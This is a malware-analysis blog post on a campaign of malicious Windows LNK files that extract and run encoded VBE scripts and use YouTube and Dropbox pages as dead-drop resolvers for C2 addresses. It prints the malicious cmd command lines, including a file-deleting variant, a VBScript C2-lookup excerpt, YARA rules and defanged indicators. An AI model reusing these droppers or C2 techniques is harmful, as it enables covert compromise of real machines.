A couple of days back I tweeted about some interesting LNK file samples I had found on Virus Total. They were interesting due to their endless Russian Doll-esque style of behaviour which involed extracting VBE script upon VBE script, patching headers and reversing bytes.
As of 31 May 2020, I’ve identified eleven samples dating between 2020-03-02 to 2020-05-29 as uploaded to Virus Total. They are all consistently created from the same VMWare host using the same account, and the same base LNK template as seen by the output of LECMD:
The LNK Files
SHA256 Hash | TargetCreated | TargetModified | TargetAccessed | SID | MachineMACAddress |
---|---|---|---|---|---|
1be621c3cd6f26f3ccce00ec492b92bc7197537d7be34ddda06a1ebb15136184 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
20026af8c1bd95d4a39c2d1d1c2909ed133a5d2efac2d6c6b87cbc4d2782fef0 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
26fd8d1abe275f611779951c1687c3e04091dba12147500409e2db59b7bf6de1 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
2f92936228e4e83ddcb040267bac970908c4d3ed41bc636f808feb7a2eb60044 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
48de3d2ba47f482e912792ef677fec95557da5d14eb65321ff8290e59531076a | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
62901e68c0c990a7ee69a2954f931dc643be430a8d09f316974d88a0ed97a268 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
65469ae4cb1f05ea1b7a174cbdfbb63021cc2971693a29e226dc510dec20dc3e | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
7eb4ea6277bd62653cc474cf1125165c9bdc43858811c0d88be25e2ec34bc14d | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
83d6a78e4e03fdf0447502626df4931099b57fc557ef0fe22032e34733d494e1 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
bbd2a1f2cb9b929e4ca09310caeb43c7257ebdd7c3872b8f62645eb659c4c89d | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
d7d74fafc0c4a65e080c04479a0f1fd1da8cd34aee59e88ac49de3f844362416 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | 2010-11-21 03:24:03 | S-1-5-21-2529457200-49751210-1696528657-1000 | 00:50:56:c0:00:08 |
Further the initial command the LNK file uses is the same pattern similar to either /c copy Ack*ume %tmp%&%systemdrive%&cd %tmp%&attrib +r *&for /f "delims=" %a in ('dir /s /b *') do type "%~fa" \| find "#@~^">.vbe&CsCRipt .vbe "%~fa"
or
/c copy *.doc %tmp%&%systemdrive%&cd %tmp%&dir /b /s *.doc>o&echo set /p f=^<o>.bat&echo type "%f%"^>z9>>.bat&echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del * /S /Q /Y>>.bat&.bat
:
SourceFile | Arguments |
---|---|
1be621c3cd6f26f3ccce00ec492b92bc7197537d7be34ddda06a1ebb15136184 | /c copy Ack*ume %tmp%&%systemdrive%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
20026af8c1bd95d4a39c2d1d1c2909ed133a5d2efac2d6c6b87cbc4d2782fef0 | /c copy SMP*.txt %tmp%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
26fd8d1abe275f611779951c1687c3e04091dba12147500409e2db59b7bf6de1 | /c copy *.doc %tmp%&%systemdrive%&cd %tmp%&dir /b /s *.doc>o&echo set /p f=^ |
2f92936228e4e83ddcb040267bac970908c4d3ed41bc636f808feb7a2eb60044 | /c copy *.doc %tmp%&%systemdrive%&cd %tmp%&dir /b /s *.doc>o&echo set /p f=^ |
48de3d2ba47f482e912792ef677fec95557da5d14eb65321ff8290e59531076a | /c copy Ori*.txt %tmp%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
62901e68c0c990a7ee69a2954f931dc643be430a8d09f316974d88a0ed97a268 | /c copy *.pdf %tmp%&%systemdrive%&cd %tmp%&dir /b /s *.pdf>o&echo set /p f=^ |
65469ae4cb1f05ea1b7a174cbdfbb63021cc2971693a29e226dc510dec20dc3e | /c copy Pro*.jpg %tmp%&%systemdrive%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
7eb4ea6277bd62653cc474cf1125165c9bdc43858811c0d88be25e2ec34bc14d | /c copy Law*ves %tmp%&%systemdrive%&cd %tmp%&attrib +r &for /f “delims=” %a in (‘dir /s /b Lawves’) do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
83d6a78e4e03fdf0447502626df4931099b57fc557ef0fe22032e34733d494e1 | /c copy Ack*ver %tmp%&%systemdrive%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
bbd2a1f2cb9b929e4ca09310caeb43c7257ebdd7c3872b8f62645eb659c4c89d | /c copy *.doc %tmp%&%systemdrive%&cd %tmp%&dir /b /s *.doc>o&echo set /p f=^ |
d7d74fafc0c4a65e080c04479a0f1fd1da8cd34aee59e88ac49de3f844362416 | /c copy cov*.jpg %tmp%&%systemdrive%&cd %tmp%&attrib +r *&for /f “delims=” %a in (‘dir /s /b *') do type “%~fa” | find “#@~^">.vbe&CsCRipt .vbe “%~fa” |
All of these were identified using the two yara rules. The initial rule looks for LNK files with a VBE encoded script:
rule LNK_with_VBE {
meta:
description = "Detects LNK file with embedded VBE script"
author = "@mattnotmax"
date = "2019-11-16"
hash1 = "D28C1C4F4C705B21E84ADADB42594E42543DF4F1C4B44219569DC18B375E78E3"
strings:
$a1 = "#@~^" ascii
$a2 = "^#~@" ascii
condition: uint16(0) == 0x4c and ($a1 and $a2)
}
The second was based off the initial hit which was solely looking for this campaign and and focused on the SID:
rule weird_LNK
{
meta:
author = "@mattnotmax"
comment = "This is SID from the inital LNK"
date = "2020-05-22"
strings:
$SID = "S-1-5-21-2529457200-49751210-1696528657" wide
condition:
uint16(0) == 0x00004c and $SID
}
Down the rabbit hole…
Some of the LNK files have more elaborate layers of data encoding and/or obfuscation, but what makes these interesting is that they use YouTube and/or other domains as a engine to get or update a c2 IP address.
SourceFile | Domain 1 | Domain 2 | Domain 3 |
---|---|---|---|
1be621c3cd6f26f3ccce00ec492b92bc7197537d7be34ddda06a1ebb15136184 | hxxps://youtu[.]be/AApRxqOjLs4 | hxxps://plus[.]google[.]com/109526023785415750407/posts/1ecFp1jLnX1 | hxxps://plus[.]google[.]com/105611301541879878976/posts/fCo9jvzZKNT |
20026af8c1bd95d4a39c2d1d1c2909ed133a5d2efac2d6c6b87cbc4d2782fef0 | hxxps://youtu[.]be/aZRJQdwN4-g | hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en | |
26fd8d1abe275f611779951c1687c3e04091dba12147500409e2db59b7bf6de1 | hxxps://dl[.]dropboxusercontent[.]com/s/vz5unuqw4n1smun/index[.]html | hxxp://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b | hxxps://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b |
2f92936228e4e83ddcb040267bac970908c4d3ed41bc636f808feb7a2eb60044 | hxxps://dl[.]dropboxusercontent[.]com/s/7ttsyz4ypnco0sd/file[.]html | hxxps://copy[.]com/hSn32C8TeJKq/file[.]html | hxxp://www[.]youtube[.]com/watch?v=8Sxcin85wxQ |
48de3d2ba47f482e912792ef677fec95557da5d14eb65321ff8290e59531076a | hxxps://youtu[.]be/aZRJQdwN4-g | hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en | |
62901e68c0c990a7ee69a2954f931dc643be430a8d09f316974d88a0ed97a268 | hxxps://dl[.]dropboxusercontent[.]com/s/vz5unuqw4n1smun/index[.]html | hxxp://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b | hxxps://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b |
65469ae4cb1f05ea1b7a174cbdfbb63021cc2971693a29e226dc510dec20dc3e | hxxps://youtu[.]be/aZRJQdwN4-g | hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en | |
7eb4ea6277bd62653cc474cf1125165c9bdc43858811c0d88be25e2ec34bc14d | hxxps://youtu[.]be/AApRxqOjLs4 | hxxps://plus[.]google[.]com/109526023785415750407/posts/1ecFp1jLnX1 | hxxps://plus[.]google[.]com/105611301541879878976/posts/fCo9jvzZKNT |
83d6a78e4e03fdf0447502626df4931099b57fc557ef0fe22032e34733d494e1 | hxxps://youtu[.]be/AApRxqOjLs4 | hxxps://plus[.]google[.]com/109526023785415750407/posts/1ecFp1jLnX1 | hxxps://plus[.]google[.]com/105611301541879878976/posts/fCo9jvzZKNT |
bbd2a1f2cb9b929e4ca09310caeb43c7257ebdd7c3872b8f62645eb659c4c89d | hxxps://dl[.]dropboxusercontent[.]com/s/7ttsyz4ypnco0sd/file[.]html | hxxps://copy[.]com/hSn32C8TeJKq/file[.]html | hxxp://www[.]youtube[.]com/watch?v=8Sxcin85wxQ |
d7d74fafc0c4a65e080c04479a0f1fd1da8cd34aee59e88ac49de3f844362416 | hxxps://youtu[.]be/aZRJQdwN4-g | hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en |
An example of the YouTube video is as follows:
All in all 11 different URLs have been identified to date:
- hxxps://youtu[.]be/AApRxqOjLs4
- hxxps://youtu[.]be/aZRJQdwN4-g
- hxxps://dl[.]dropboxusercontent[.]com/s/vz5unuqw4n1smun/index[.]html
- hxxps://dl[.]dropboxusercontent[.]com/s/7ttsyz4ypnco0sd/file[.]html
- hxxps://plus[.]google[.]com/109526023785415750407/posts/1ecFp1jLnX1
- hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en
- hxxp://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b
- hxxps://copy[.]com/hSn32C8TeJKq/file[.]html
- hxxps://plus[.]google[.]com/105611301541879878976/posts/fCo9jvzZKNT
- hxxps://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b
- hxxp://www[.]youtube[.]com/watch?v=8Sxcin85wxQ
The website copy[.]com was discontinued in 2016, and some of the YouTube videos were uploaded between 2013 - 2015. In essence the key (and only) text in the links is then fed into the VB script and divided by 1337
to obtain a decimal IP address. For example:
WHILE serverExists = 0
Dim min, max
min = 0
max = 1
Randomize
randLink = YouTubeLinks(Int((max-min+1)*Rnd+min))
'msgbox(randLink)
outputHTML = getPage(randLink, 60, "get")
'msgbox(outputHTML)
Set objRE = New RegExp
With objRE
.Pattern = "we need (.*) views"
.IgnoreCase = True
End With
Set objMatch = objRE.Execute( outputHTML )
IF objMatch.Count = 1 THEN
server = ""
server = objMatch.Item(0).Submatches(0)
server = server / 1337
'msgbox(server)
server = IPConvert(server)
server = "http://" & server & "/B2mV-VzVc-81Az-135J"
END IF
'msgbox(server)
IF Len(server) > 1 THEN
status = getPage(server & "/Status2.php", 30, "get")
inOK = inStr(status, "OKOKOK")
IF NOT inOK = 0 THEN
serverExists = 1
END IF
END IF
WEND
Yoo Hoo, What’s the C2?
So from the links still available (I didn’t have a throwaway Gmail on hand to access the Google Plus links) the obtained C2 addresses are:
URLs | Integar | Decimal IP | Resolved IP |
---|---|---|---|
hxxps://youtu[.]be/AApRxqOjLs4 | 1962110654532 | 1467547236 | 87[.]120[.]254[.]100 |
hxxps://youtu[.]be/aZRJQdwN4-g | 1962036338724 | 1467491652 | 87[.]120[.]37[.]68 |
hxxps://dl[.]dropboxusercontent[.]com/s/vz5unuqw4n1smun/index[.]html | 49741276945318 | 37203647678 | 169[.]130[.]156[.]190 |
hxxps://dl[.]dropboxusercontent[.]com/s/7ttsyz4ypnco0sd/file[.]html | 19907899063843 | 14889976862 | 119[.]131[.]4[.]30 |
hxxp://www[.]youtube[.]com/watch?v=EsVgsH-NfD0b | 49741276945318 | 37203647678 | 169[.]130[.]156[.]190 |
hxxp://www[.]youtube[.]com/watch?v=8Sxcin85wxQ | 19907899063843 | 14889976862 | 119[.]131[.]4[.]30 |
hxxps://plus[.]google[.]com/109526023785415750407/posts/1ecFp1jLnX1 | N/A | N/A | N/A |
hxxps://plus[.]google[.]com/108098760042015113400/posts?hl=en | N/A | N/A | N/A |
hxxps://plus[.]google[.]com/105611301541879878976/posts/fCo9jvzZKNT | N/A | N/A | N/A |
hxxps://copy[.]com/hSn32C8TeJKq/file[.]html | N/A | N/A | N/A |
Whaddya Gonna Do?
There is a lot to this campaign, both malware analysis and questions. The files also contain DLLs, decoy documents, more VBE scripts, and C2 commands. This all could be analysed along with the identified infrastructure and their own associated links. Given the videos were created so long ago, I have to question if the C2s are still active; however, that beggers the question who is and why are these samples being uploaded now? While the C2 channel would resolve to a raw IP address (which may stand out in certain environments) it does allow an adversary to quickly change the C2 IP without having to update the malware itself.
Social media are well recorded as being used by actors for various means, this is just another example I hope people find interesting. If you do any follow-up or have any thoughts, questions for comments, please drop me a note at [email protected] or at @mattnotmax. Thanks for reading!